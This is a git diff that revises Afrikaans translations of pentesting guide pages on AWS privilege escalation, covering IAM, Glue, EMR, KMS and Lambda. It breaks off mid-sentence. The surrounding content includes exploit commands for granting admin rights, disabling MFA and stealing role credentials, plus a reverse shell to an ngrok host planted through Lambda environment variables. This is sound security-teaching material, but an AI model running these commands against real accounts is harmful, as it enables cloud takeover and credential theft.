-111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Sodra jy **jou eie Beanstalk omgewing** met jou rev shell aan die gang het, is dit tyd om dit te **migreer** na die **slagoffer** se omgewing. Om dit te doen, moet jy die **Bucket-beleid** van jou beanstalk S3-bucket **opdateer** sodat die **slagoffer toegang kan hê** (Let daarop dat dit die Bucket vir **ELKEEN** sal **oopmaak**): +Sodra jy **jou eie Beanstalk omgewing** aan die gang het met jou rev shell, is dit tyd om dit te **migreer** na die **slachtoffer** se omgewing. Om dit te doen, moet jy die **Bucket-beleid** van jou beanstalk S3-bucket **opdateer** sodat die **slachtoffer toegang kan hê** (Let daarop dat dit die Bucket vir **ELKEEN** sal **oopmaak**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index bd917174b..c7c4853e9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -13,7 +13,7 @@ Meer **inligting oor EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` 'n Aanvaller met hierdie toestemmings kan **'n nuwe EMR-kluster uitvoer wat EC2-rolle aanheg** en probeer om sy akrediteer te steel.\ -Let daarop dat jy om dit te doen, **'n ssh priv sleutel wat in die rekening ingevoer is, moet ken** of een moet invoer, en in staat moet wees om **poort 22 in die meesterknoop te open** (jy mag in staat wees om dit te doen met die eienskappe `EmrManagedMasterSecurityGroup` en/of `ServiceAccessSecurityGroup` binne `--ec2-attributes`). +Let daarop dat jy om dit te doen, **'n paar ssh priv sleutel wat in die rekening ingevoer is, moet ken** of een moet invoer, en in staat moet wees om **poort 22 in die meesterknoop te open** (jy mag in staat wees om dit te doen met die eienskappe `EmrManagedMasterSecurityGroup` en/of `ServiceAccessSecurityGroup` binne `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -Let op hoe 'n **EMR rol** gespesifiseer word in `--service-role` en 'n **ec2 rol** gespesifiseer word in `--ec2-attributes` binne `InstanceProfile`. Hierdie tegniek laat egter net toe om die EC2 rol geloofsbriewe te steel (soos jy via ssh sal aansluit) maar nie die EMR IAM Rol nie. +Let wel hoe 'n **EMR rol** gespesifiseer word in `--service-role` en 'n **ec2 rol** gespesifiseer word in `--ec2-attributes` binne `InstanceProfile`. Hierdie tegniek laat egter net toe om die EC2 rol geloofsbriewe te steel (soos jy via ssh sal aansluit) maar nie die EMR IAM Rol nie. **Potensiële Impak:** Privesc na die EC2 diensrol gespesifiseer. @@ -45,7 +45,7 @@ Let op hoe 'n **EMR rol** gespesifiseer word in `--service-role` en 'n **ec2 rol Met hierdie toestemmings kan 'n aanvaller na die **AWS konsole** gaan, 'n Notebook skep en dit toegang om die IAM Rol te steel. > [!CAUTION] -> Selfs as jy 'n IAM rol aan die notaboekinstansie heg, het ek in my toetse opgemerk dat ek in staat was om AWS bestuurde geloofsbriewe te steel en nie geloofsbriewe wat met die IAM rol verband hou nie. +> Selfs as jy 'n IAM rol aan die notaboek instansie heg, het ek in my toetse opgemerk dat ek in staat was om AWS bestuurde geloofsbriewe te steel en nie geloofsbriewe wat verband hou met die IAM rol nie. **Potensiële Impak:** Privesc na AWS bestuurde rol arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile @@ -55,7 +55,7 @@ Net met hierdie toestemming sal 'n aanvaller in staat wees om toegang te verkry Die URL van die notaboek is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Selfs as jy 'n IAM rol aan die notaboekinstansie heg, het ek in my toetse opgemerk dat ek in staat was om AWS bestuurde geloofsbriewe te steel en nie geloofsbriewe wat met die IAM rol verband hou nie. +> Selfs as jy 'n IAM rol aan die notaboek instansie heg, het ek in my toetse opgemerk dat ek in staat was om AWS bestuurde geloofsbriewe te steel en nie geloofsbriewe wat verband hou met die IAM rol nie. **Potensiële Impak:** Privesc na AWS bestuurde rol arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index 0501ebde3..34f52cdfa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,7 +4,7 @@ ### `gamelift:RequestUploadCredentials` -Met hierdie toestemming kan 'n aanvaller 'n **nuwe stel van geloofsbriewe verkry vir gebruik wanneer hulle** 'n nuwe stel speletjie bou lêers na Amazon GameLift se Amazon S3 oplaai. Dit sal **S3 oplaai geloofsbriewe** teruggee. +Met hierdie toestemming kan 'n aanvaller 'n **nuwe stel van geloofsbriewe verkry vir gebruik wanneer hulle** 'n nuwe stel speletjie bou lêers na Amazon GameLift se Amazon S3 op laai. Dit sal **S3 oplaai geloofsbriewe** teruggee. ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 2f7c89ee5..11f6465ca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,9 +6,9 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Gebruikers met hierdie toestemmings kan **'n nuwe AWS Glue ontwikkelingspunt opstel**, **'n bestaande diensrol wat deur Glue aanvaarbaar is, aan hierdie punt toewys** met spesifieke toestemmings. +Gebruikers met hierdie toestemmings kan **'n nuwe AWS Glue ontwikkelingspunt opstel**, **wat 'n bestaande diensrol wat deur Glue aanvaar kan word** met spesifieke toestemmings aan hierdie punt toewys. -Na die opstelling kan die **aanvaller SSH in die punt se instansie**, en die IAM-akkrediteer van die toegewyde rol steel: +Na die opstelling kan die **aanvaller SSH in die punt se instansie**, en die IAM-akkrediteer van die toegewezen rol steel: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -24,7 +24,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` Vir stealth-doeleindes word dit aanbeveel om die IAM-akkrediteerlinge van binne die Glue virtuele masjien te gebruik. -**Potensiële Impak:** Privesc na die spesifieke glue diensrol. +**Potensiële Impak:** Privesc na die glue diensrol wat gespesifiseer is. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) @@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Gebruikers met **`iam:PassRole`** gekombineer met ofwel **`glue:CreateJob of `glue:UpdateJob`**, en ofwel **`glue:StartJobRun` of `glue:CreateTrigger`** kan **'n AWS Glue taak skep of opdateer**, enige **Glue diensrekening** aanheg, en die taak se uitvoering inisieer. Die taak se vermoëns sluit die uitvoering van arbitrêre Python kode in, wat uitgebuit kan word om 'n omgekeerde shell te vestig. Hierdie omgekeerde shell kan dan gebruik word om die **IAM geloofsbriewe** van die rol wat aan die Glue taak geheg is, te eksfiltreer, wat kan lei tot potensiële ongeoorloofde toegang of aksies gebaseer op die toestemmings van daardie rol: +Gebruikers met **`iam:PassRole`** gekombineer met of **`glue:CreateJob` of `glue:UpdateJob`**, en of **`glue:StartJobRun` of `glue:CreateTrigger`** kan **'n AWS Glue taak skep of opdateer**, enige **Glue diensrekening** aanheg, en die taak se uitvoering inisieer. Die taak se vermoëns sluit die uitvoering van arbitrêre Python kode in, wat uitgebuit kan word om 'n omgekeerde shell te vestig. Hierdie omgekeerde shell kan dan gebruik word om die **IAM geloofsbriewe** van die rol wat aan die Glue taak geheg is, te eksfiltreer, wat kan lei tot potensiële ongeoorloofde toegang of aksies gebaseer op die toestemmings van daardie rol: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,13 +71,13 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**Potensiële Impak:** Privesc na die glue diensrol gespesifiseer. +**Potensiële Impak:** Privesc na die glue diensrol wat gespesifiseer is. ### `glue:UpdateJob` Net met die opdatering toestemming kan 'n aanvaller die IAM Kredensiale van die reeds aangehegte rol steel. -**Potensiële Impak:** Privesc na die glue diensrol aangeheg. +**Potensiële Impak:** Privesc na die glue diensrol wat aangeheg is. ## Verwysings diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 9ed078a96..ea4ff2678 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -12,28 +12,28 @@ Vir meer inligting oor IAM, kyk: ### **`iam:CreatePolicyVersion`** -Gee die vermoë om 'n nuwe IAM-beleid weergawe te skep, wat die behoefte aan `iam:SetDefaultPolicyVersion` toestemming omseil deur die `--set-as-default` vlag te gebruik. Dit stel in staat om pasgemaakte toestemmings te definieer. +Gee die vermoë om 'n nuwe IAM-beleid weergawe te skep, terwyl die behoefte aan `iam:SetDefaultPolicyVersion` toestemming omseil word deur die `--set-as-default` vlag te gebruik. Dit stel die definisie van pasgemaakte toestemmings in staat. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impak:** Verhoog direk die voorregte deur enige aksie op enige hulpbron toe te laat. +**Impak:** Verhoog direk bevoegdhede deur enige aksie op enige hulpbron toe te laat. ### **`iam:SetDefaultPolicyVersion`** -Laat die verandering van die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe toe, wat moontlik voorregte kan verhoog as die nuwe weergawe meer toestemmings het. +Laat die verandering van die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe toe, wat moontlik bevoegdhede kan verhoog as die nuwe weergawe meer toestemmings het. **Bash Opdrag:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impak:** Indirekte privilige-escalasie deur meer toestemmings te aktiveer. +**Impak:** Indirekte privilige-eskalasie deur meer toestemmings in te skakel. ### **`iam:CreateAccessKey`** -Aktiveer die skep van toegangsleutel-ID en geheime toegangsleutel vir 'n ander gebruiker, wat kan lei tot potensiële privilige-escalasie. +Stel die skep van toegangsleutel-ID en geheime toegangsleutel vir 'n ander gebruiker in, wat kan lei tot potensiële privilige-eskalasie. **Eksploiteer:** ```bash @@ -43,7 +43,7 @@ aws iam create-access-key --user-name ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Stel die skep of opdatering van 'n aanmeldprofiel toe, insluitend die instelling van wagwoorde vir AWS-konsol aanmelding, wat lei tot direkte privilege-eskalasie. +Laat die skep of opdatering van 'n aanmeldprofiel toe, insluitend die instelling van wagwoorde vir AWS-konsol aanmelding, wat lei tot direkte privilege-eskalasie. **Eksploiteer vir Skepping:** ```bash @@ -59,17 +59,17 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require ### **`iam:UpdateAccessKey`** -Laat toe om 'n gedeaktiveerde toegangsleutel te aktiveer, wat moontlik kan lei tot ongemagtigde toegang as die aanvaller die gedeaktiveerde sleutel besit. +Laat die inskakeling van 'n gedeaktiveerde toegangsleutel toe, wat moontlik kan lei tot ongemagtigde toegang as die aanvaller die gedeaktiveerde sleutel besit. **Eksploiteer:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impak:** Direkte privilige-escalasie deur toegangssleutels te heraktiveer. +**Impak:** Direkte privilige-escalasie deur toegang sleutels te heraktiveer. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Stel die generering of reset van kredensiale vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) in, wat die toestemmings van die geassosieerde gebruiker erf. +Stel in staat om kredensiale vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) te genereer of te reset, wat die toestemmings van die geassosieerde gebruiker erf. **Eksploiteer vir Skepping:** ```bash @@ -83,7 +83,7 @@ aws iam reset-service-specific-credential --service-specific-credential-id --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impak:** Direkte privilege-escalasie na enigiets wat die beleid toelaat. +**Impak:** Direkte privilege-eskalasie na enigiets wat die beleid toelaat. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Stel die aanhegting of plasing van beleide aan rolle, gebruikers of groepe toe, wat direkte privilege-escalasie moontlik maak deur addisionele toestemmings te verleen. +Stel die aanhegting of plasing van beleide aan rolle, gebruikers of groepe toe, wat direkte privilige-eskalasie moontlik maak deur addisionele toestemmings toe te ken. **Eksploiteer vir Rol:** ```bash @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -U kan 'n beleid soos gebruik: +Jy kan 'n beleid soos gebruik: ```json { "Version": "2012-10-17", @@ -131,24 +131,24 @@ U kan 'n beleid soos gebruik: ### **`iam:AddUserToGroup`** -Stel in staat om jouself by 'n IAM-groep te voeg, wat privilige-escalasie moontlik maak deur die groep se toestemmings te erf. +Stel jou in staat om jouself by 'n IAM-groep te voeg, wat privilige-escalasie moontlik maak deur die groep se toestemmings te erf. **Eksploiteer:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impak:** Direkte privilige-escalasie na die vlak van die groep se toestemmings. +**Impak:** Direkte privilige-eskalasie na die vlak van die groep se toestemmings. ### **`iam:UpdateAssumeRolePolicy`** -Stel in staat om die aanneemrolbeleid dokument van 'n rol te verander, wat die aanneming van die rol en sy geassosieerde toestemmings moontlik maak. +Laat die verandering van die aanneemrolbeleid dokument van 'n rol toe, wat die aanneming van die rol en sy geassosieerde toestemmings moontlik maak. **Eksploiteer:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Waar die beleid soos die volgende lyk, wat die gebruiker toestemming gee om die rol aan te neem: +Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan te neem: ```json { "Version": "2012-10-17", @@ -167,9 +167,9 @@ Waar die beleid soos die volgende lyk, wat die gebruiker toestemming gee om die ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Toelaat om 'n SSH publieke sleutel op te laai vir outentisering by CodeCommit en om MFA toestelle te deaktiveer, wat kan lei tot potensiële indirekte privilige-escalasie. +Stel die opgradering van 'n SSH publieke sleutel toe vir outentisering by CodeCommit en die deaktivering van MFA-toestelle, wat kan lei tot potensiële indirekte privilige-escalasie. -**Eksploiteer vir SSH Sleutel Oplaai:** +**Eksploiteer vir SSH Sleutel Opgradering:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` @@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Impak:** Indirekte privilige-escalasie deur CodeCommit-toegang te aktiveer of MFA-beskerming te deaktiveer. +**Impak:** Indirekte privilige-eskalasie deur CodeCommit-toegang te aktiveer of MFA-beskerming te deaktiveer. ### **`iam:ResyncMFADevice`** -Stel die her-synchronisasie van 'n MFA-toestel toe, wat moontlik kan lei tot indirekte privilige-escalasie deur MFA-beskerming te manipuleer. +Stel die her-synchronisasie van 'n MFA-toestel toe, wat moontlik kan lei tot indirekte privilige-eskalasie deur MFA-beskerming te manipuleer. **Bash-opdrag:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impak:** Indirekte privilige-escalasie deur MFA-toestelle by te voeg of te manipuleer. +**Impak:** Indirekte privilige-escalasie deur die toevoeging of manipulasie van MFA-toestelle. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) Met hierdie toestemmings kan jy **die XML-metadata van die SAML-verbinding verander**. Dan kan jy die **SAML-federasie** misbruik om **in te log** met enige **rol wat dit vertrou**. -Let daarop dat legitieme gebruikers nie in staat sal wees om in te log nie. Jy kan egter die XML kry, sodat jy joune kan plaas, inlog en die vorige weer kan konfigureer. +Let daarop dat legitieme gebruikers nie in staat sal wees om in te log nie. Jy kan egter die XML kry, sodat jy joune kan plaas, inlog en die vorige konfigureer. ```bash # List SAMLs aws iam list-saml-providers @@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Onseker oor dit) As 'n aanvaller hierdie **toestemmings** het, kan hy 'n nuwe **Thumbprint** byvoeg om in te log in al die rolle wat die verskaffer vertrou. +(Onseker oor dit) As 'n aanvaller hierdie **toestemmings** het, kan hy 'n nuwe **Thumbprint** byvoeg om in al die rolle wat die verskaffer vertrou, aan te meld. ```bash # List providers aws iam list-open-id-connect-providers diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 1f7618a6f..74776a892 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -12,7 +12,7 @@ Vir meer inligting oor KMS, kyk: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -Met hierdie toestemmings is dit moontlik om **die toegangstoestemmings tot die sleutel te wysig** sodat dit deur ander rekeninge of selfs enigiemand gebruik kan word: +Met hierdie toestemmings is dit moontlik om die **toegangstoestemmings tot die sleutel te wysig** sodat dit deur ander rekeninge of selfs enige iemand gebruik kan word: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -49,7 +49,7 @@ beleid.json: ``` ### `kms:CreateGrant` -Dit **laat 'n hoof gebruik maak van 'n KMS-sleutel:** +Dit **laat 'n prinsiep toe om 'n KMS-sleutel te gebruik:** ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 0f9a5c240..1e1ddb771 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -13,8 +13,8 @@ Meer inligting oor lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul voorregte verhoog.\ -Hulle kan **'n nuwe Lambda-funksie skep en dit 'n bestaande IAM-rol toewys**, wat die funksie die toestemmings verleen wat met daardie rol geassosieer word. Die gebruiker kan dan **kode na hierdie Lambda-funksie skryf en oplaai (met 'n rev shell byvoorbeeld)**.\ -Sodra die funksie opgestel is, kan die gebruiker **die uitvoering daarvan aktiveer** en die beoogde aksies deur die Lambda-funksie via die AWS API aan te roep. Hierdie benadering stel die gebruiker effektief in staat om take indirek deur die Lambda-funksie uit te voer, werkend met die toegangsvlak wat aan die IAM-rol geassosieer is.\\ +Hulle kan **'n nuwe Lambda-funksie skep en dit 'n bestaande IAM-rol toewys**, wat die funksie die toestemmings verleen wat met daardie rol geassosieer word. Die gebruiker kan dan **kode skryf en oplaai na hierdie Lambda-funksie (met 'n rev shell byvoorbeeld)**.\ +Sodra die funksie opgestel is, kan die gebruiker **die uitvoering daarvan aktiveer** en die beoogde aksies deur die Lambda-funksie via die AWS API aanroep. Hierdie benadering stel die gebruiker effektief in staat om take indirek deur die Lambda-funksie uit te voer, werkend met die vlak van toegang wat aan die IAM-rol geassosieer met dit verleen is.\\ 'n Aanvaller kan dit misbruik om 'n **rev shell te kry en die token te steel**: ```python:rev.py @@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` -U kan ook **misbruik maak van die lambda rol toestemmings** vanaf die lambda funksie self.\ -As die lambda rol genoeg toestemmings gehad het, kan u dit gebruik om admin regte aan u toe te ken: +Jy kan ook **die lambda rol toestemmings misbruik** van die lambda funksie self.\ +As die lambda rol genoeg toestemmings gehad het, kan jy dit gebruik om admin regte aan jouself toe te ken: ```python import boto3 def lambda_handler(event, context): @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Dit is ook moontlik om die lambda se rol geloofsbriewe te lek sonder om 'n eksterne verbinding te benodig. Dit sou nuttig wees vir **Network isolated Lambdas** wat op interne take gebruik word. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde skulpies filter, sal hierdie stuk kode jou toelaat om die geloofsbriewe direk as die uitvoer van die lambda te lek. +Dit is ook moontlik om die lambda se rol geloofsbriewe te lek sonder om 'n eksterne verbinding te benodig. Dit sou nuttig wees vir **Netwerk-isoleerde Lambdas** wat op interne take gebruik word. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde skale filter, sal hierdie stuk kode jou toelaat om die geloofsbriewe direk as die uitvoer van die lambda te lek. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -90,16 +90,16 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:CreateEventSourceMapping`** toestemmings (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **privileges verhoog** selfs sonder `lambda:InvokeFunction`.\ -Hulle kan 'n **Lambda-funksie met kwaadwillige kode skep en dit aan 'n bestaande IAM-rol toewys**. +Hulle kan 'n **Lambda-funksie met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys**. -In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur middel van 'n gebeurtenisbron-mapping. Hierdie opstelling verseker dat die Lambda-funksie **automaties geaktiveer word wanneer 'n nuwe item** in die tabel ingevoer word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep dus indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die oorgedraagde IAM-rol. +In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur 'n gebeurtenisbron-mapping. Hierdie opstelling verseker dat die Lambda-funksie **automaties geaktiveer word wanneer 'n nuwe item** in die tabel ingevoer word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep dus indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die oorgedraagde IAM-rol. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -As DynamoDB reeds aktief is in die AWS-omgewing, moet die gebruiker net **die gebeurtenisbronkaart** vir die Lambda-funksie opstel. As DynamoDB egter nie in gebruik is nie, moet die gebruiker **nuwe tabel** met streaming geaktiveer skep: +As DynamoDB reeds aktief is in die AWS-omgewing, moet die gebruiker net **die gebeurtenisbronkaart** vir die Lambda-funksie opstel. As DynamoDB egter nie in gebruik is nie, moet die gebruiker **nuwe tabel** met streaming geaktiveer **skep**: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -118,11 +118,11 @@ Met die Lambda-funksie wat aan die DynamoDB-stroom gekoppel is, kan die aanvalle aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` -**Potensiële Impak:** Direkte privesc na die lambda diensrol gespesifiseer. +**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gespesifiseer is. ### `lambda:AddPermission` -'n Aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer hulpbron-gebaseerde beleide om toegang tot die hulpbron te verleen): +'n Aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer hulpbron-gebaseerde beleide om toegang tot die hulpbron te gee): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -144,9 +144,9 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` Gebruikers wat die **`lambda:UpdateFunctionCode`** toestemming het, het die potensiaal om die **kode van 'n bestaande Lambda-funksie wat aan 'n IAM-rol gekoppel is, te wysig.**\ -Die aanvaller kan **die kode van die lambda wysig om die IAM-akkrediteerings te eksfiltreer**. +Die aanvaller kan **die kode van die lambda wysig om die IAM-akkrediteer te eksfiltreer**. -Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en operasioneel is, is dit waarskynlik dat dit geaktiveer sal word deur bestaande werksvloei of gebeurtenisse, wat indirek die uitvoering van die gewysigde kode fasiliteer. +Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en operasioneel is, is dit waarskynlik dat dit geaktiveer sal word deur bestaande werksvloei of gebeurtenisse, wat dus indirek die uitvoering van die gewysigde kode fasiliteer. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt #### RCE via omgewing veranderlikes -Met hierdie toestemmings is dit moontlik om omgewing veranderlikes by te voeg wat die Lambda sal laat uitvoer willekeurige kode. Byvoorbeeld, in python is dit moontlik om die omgewing veranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses willekeurige opdragte te laat uitvoer: +Met hierdie toestemmings is dit moontlik om omgewing veranderlikes by te voeg wat die Lambda sal laat uitvoer willekeurige kode. Byvoorbeeld, in python is dit moontlik om die omgewing veranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python proses willekeurige opdragte te laat uitvoer: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` @@ -175,7 +175,7 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat #### RCE via Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **kode** in jou lambda funksie in te sluit, maar **dit apart te stoor**, sodat die funksiekode klein kan bly en **verskeie funksies kode kan deel**. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **kode** in jou lamdba-funksie in te sluit, maar **dit apart te stoor**, sodat die funksiekode klein kan bly en **verskeie funksies kode kan deel**. Binne lambda kan jy die paaie nagaan waarvandaan python kode gelaai word met 'n funksie soos die volgende: ```python @@ -204,14 +204,14 @@ Byvoorbeeld, die biblioteek boto3 word gelaai vanaf `/var/runtime/boto3` (4de po Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe laag** by 'n lambda-funksie te **voeg**. Om arbitrêre kode uit te voer, moet hierdie laag 'n **biblioteek bevat wat die lambda gaan invoer.** As jy die kode van die lambda kan lees, kan jy dit maklik vind, let ook daarop dat dit moontlik is dat die lambda **reeds 'n laag gebruik** en jy kan die laag **aflaai** en **jou kode** daarby voeg. -Byvoorbeeld, kom ons neem aan dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag met die laaste weergawe van die biblioteek skep: +Byvoorbeeld, kom ons neem aan dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag skep met die laaste weergawe van die biblioteek: ```bash pip3 install -t ./lambda_layer boto3 ``` -You can open `./lambda_layer/boto3/__init__.py` and **voeg die agterdeur in die globale kode by** (n funksie om akrediteerbare te exfiltreer of 'n omgekeerde skulp te kry byvoorbeeld). +U kan `./lambda_layer/boto3/__init__.py` oopmaak en **die agterdeur in die globale kode voeg** ('n funksie om akrediteerbare inligting te ekfiltreer of 'n omgekeerde skulp te kry, byvoorbeeld). -Then, zip that `./lambda_layer` directory and **laai die nuwe lambda-laag op** in jou eie rekening (of in die slagoffer s'n, maar jy mag dalk nie toestemming hê nie).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **kompatibel met die python weergawe** wat deur die lambda gebruik word en as jy dit na jou rekening oplaai, moet dit in die **dieselfde streek** wees: +Zip dan daardie `./lambda_layer` gids en 